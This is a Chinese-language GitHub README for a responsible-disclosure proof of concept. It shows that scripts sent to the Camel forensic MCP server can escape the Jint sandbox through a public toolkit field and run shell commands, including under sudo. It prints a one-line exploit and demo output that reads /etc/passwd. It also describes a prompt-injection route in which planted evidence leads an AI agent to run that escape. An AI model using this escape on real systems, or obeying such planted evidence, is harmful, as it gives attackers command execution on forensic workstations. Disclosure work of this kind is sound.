Deloril/camel-rce-poc

GitHub: Deloril/camel-rce-poc

该 POC 证明了 DFIR 工具 Camel 的 Jint 沙箱可通过 toolkit 对象的公共字段逃逸,实现任意命令执行。

Stars: 0 | Forks: 0

# Camel RCE 概念验证 简述:Camel 声称你提交给其 `Execute` 工具的 JavaScript 被锁定在一个沙箱中,无法触及 shell、文件系统或操作系统。事实并非如此。任何脚本都可以从某个已记录的 toolkit 对象跳转到其公共字段,并运行它想要的任何 shell 命令——包括在 `sudo` 下运行。因此,一个旨在安全分析对抗性证据的工具,反而会在取证工作站上运行攻击者指定的命令。本仓库通过驱动真实、未修改的 Camel 服务器证明了这一点,让一个看似正常的 `Execute` 脚本运行 `id`,写入文件,并将 `/etc/passwd` 读取出来。下面提供了一个单命令演示,如果你只想看看其运行机制,还提供了一个更小的独立版本。 ## 发现详情 Camel 是一个用于 DFIR 的“代码模式” MCP 服务器:它没有暴露大量的工具调用,而是让 LLM 向 `Execute` 工具提交一段 JavaScript 程序,该程序在嵌入式 [Jint](https://github.com/sebastienros/jint) 引擎中运行。Camel 的安全性说明([`camel/docs/Constraints.md`](camel/docs/Constraints.md) §2)声称: 最后一句话就是漏洞所在。Jint 的 `SetValue` 绑定了一个**存活的 CLR 对象**,并暴露了其*整个公共成员图*,而不仅仅是已记录的方法。toolkit 基类携带了一个公共字段,可以直接跳出沙箱: ``` // camel/src/Camel.Toolkits/Toolkit.cs:523 public readonly AuditEnvironment auditEnvironment; ``` `AuditEnvironment` 拥有一个不受限制的命令原语(对命令字符串没有白名单限制): ``` // camel/src/Camel.Environments/AuditEnvironment.cs:433 public async Task ExecuteCommandAsync(string command, string arguments, bool admin = false) ``` 它最终会进入真实的 shell 中: ``` // camel/src/Camel.Environments/LocalEnvironment.cs:79 var psi = new ProcessStartInfo("/bin/bash"); // -> /bin/bash -c " " ``` `Execute` 处理程序只要在脚本中指定了 toolkit,就会将其作为 JS 全局变量绑定([`camel/src/Camel.Server/MCPServer.cs:290`](camel/src/Camel.Server/MCPServer.cs))。因此,已记录且受信任的 `MemoryAnalysisToolkit` 全局对象只需经过一次属性跳转即可执行任意 shell 命令: ``` await MemoryAnalysisToolkit.auditEnvironment.ExecuteCommandAsync('id', '', false); ``` ### 为什么引擎的防护机制未能阻止它 - `StringCompilationAllowed = false`(`MCPServer.cs:46`)禁用了 `eval` / `new Function` —— 这无关紧要,因为漏洞利用并未使用动态代码。 - 没有 `AllowClr()` —— 这会阻止*按名称*查找新的 `System.*` 类型,但对于 Camel *已经传入*的对象的成员访问却无能为力。 - 整个代码库中没有任何成员过滤器、`TypeResolver` 或 `SetMemberAccessor`。这种逃逸不是环境性的;它恰好是*通过 Camel 故意绑定的对象*可达的。 ### 影响范围 - 每个 toolkit 都继承了同一个公共 `auditEnvironment` 字段,因此所有八个绑定的全局变量都是等效的利用工具。 - `ExecuteCommandAsync(cmd, args, admin: true)` 通过 `sudo` 运行(`AuditEnvironment.cs:443`)。 - 原始 shell 允许网络传出(`curl`/`wget`)、绕过只写防篡改保护(该保护仅包装*类型化*文件方法)的证据篡改,以及审计日志伪造——这正是 Camel 声称能够抵御的“对抗性嵌入指令”。 - HTTP 传输层设置了 `AllowAnyOrigin()` CORS(`MCPServer.cs:707`),因此任何能访问该 endpoint 的网络源都可以驱动 `Execute`。 ### 现实中的触发方式:基于证据的提示词注入 这条危险的路径不需要对服务器的访问权限。Camel 的工作是分析对抗性产物(恶意软件、磁盘镜像、攻击者编写的日志),并且模型会将工具输出读回其上下文中。攻击者将指令植入在调查中必然会浮现的证据中——一个文件名、一行日志、样本中的一个字符串——从而诱导 agent 执行逃逸脚本。模型以为自己正在运行一个已记录的取证工具;但实际上它在运行一个 shell。 ## 验证 1 —— 针对真实 Camel 服务器 (`exploit-demo/`) 这**并没有**重新实现任何东西。它托管了真实的、未修改的 `CamelMCPServer.BuildHttpApp`(通过固定的 [`camel`](camel) submodule),并使用真实的 `ModelContextProtocol` MCP 客户端驱动它,调用真实的 `Execute` 工具。漏洞利用脚本仅使用了已记录的 `MemoryAnalysisToolkit` 全局对象。 `SIFT:Environment=Local`(在 `exploit-demo/testappsettings.json` 中)是唯一的非默认设置——它让工作站端的命令在本地机器上运行,以便其输出在屏幕上可见。无论哪种方式,代码路径(`ExecuteCommandAsync` → `LocalEnvironment`/`SshAuditEnvironment` → `bash -c`)都是相同的;只有到机器的传输方式不同。 ``` $ DOTNET_DIR=~/dotnet ./run-demo.sh ... [+] Advertised MCP tools: SetEvidence, VerifyEvidence, Execute, SetCaseId [+] Execute result (IsError=null): CAMEL_RCE_PROOF | id => uid=1000(user) gid=1000(user) groups=1000(user),27(sudo),... CAMEL_RCE_PROOF | write+read /tmp/camel_pwned.txt => owned-- CAMEL_RCE_PROOF | exfil /etc/passwd => root:x:0:0:root:/root:/bin/bash [RESULT] Sandbox escaped via the real Execute tool. RCE CONFIRMED. ### 4. 证明 command 确实在 host 上运行的独立证据: cat /tmp/camel_pwned.txt => owned-- ``` ## 验证 2 —— 最小化独立复现 (`standalone-poc/`) 一个约 70 行的独立复现脚本(仅依赖于 `Jint 4.9.2`,与 Camel 附带的版本相同)。它重建了完全相同的 Jint 选项和一个具有相同公共 `auditEnvironment` 字段的 toolkit,因此你无需构建整个服务器即可查看其运行机制。在 `standalone-poc/` 目录中运行 `dotnet run`。 ## 运行说明 **前置条件:** .NET 9 SDK,Linux(演示脚本会调用 `/bin/bash`)。 ``` git clone --recurse-submodules https://github.com/Deloril/camel-rce-poc.git cd camel-rce-poc # 如果您在没有 submodules 的情况下已经进行了 clone: git submodule update --init --recursive # 如果 dotnet 不在 PATH 中,请安装 SDK 并将 script 指向它: # curl -fsSL https://dot.net/v1/dotnet-install.sh | bash -s -- --channel 9.0 --install-dir ~/dotnet DOTNET_DIR=~/dotnet ./run-demo.sh ``` 该脚本会打印 Camel 自身的无 shell 声明,删除任何陈旧的验证文件,通过真实的 `Execute` 工具运行攻击者脚本,然后 `cat` `/tmp/camel_pwned.txt` 以证明命令触及了真实的文件系统。 ## 修复方案 不要将 toolkit 实例直接绑定到引擎中。可以采取以下方案之一: - 暴露一个仅公开已记录 SDK 方法的瘦外观层,或者 - 配置 Jint 成员过滤器 / `ObjectWrapper` 拦截器,以隐藏 `auditEnvironment` 及所有非 SDK 成员。 目前,类型化 SDK 的边界仅仅停留在文档层面,而不是一种强制访问控制。 ## 目录结构 ``` camel/ upstream Camel, pinned as a submodule (commit fca3903) — unmodified exploit-demo/ drives the REAL server end-to-end via a real MCP client standalone-poc/ minimal Jint-only reproduction of the escape mechanism run-demo.sh one-command demo ``` ## 版权归属与范围 Camel 由 Allister Beharry 开发,采用 MIT 许可证,已提交至 SANS "Find Evil!" AI 黑客马拉松。它在此处作为固定的 submodule 被**未修改地**包含在内(而非重新托管),以便 POC 能够针对确切经过审查的代码(`fca39038998ffa24f9c87715a67eeeb2a0cf7c90`)进行构建。本仓库是出于负责任的漏洞披露和黑客马拉松评审目的的安全概念验证;此处编写的唯一代码就是这两个 `*-poc` 驱动程序和本 README。
标签:安全漏洞, 应用安全, 沙箱逃逸, 漏洞验证POC, 编程工具, 远程代码执行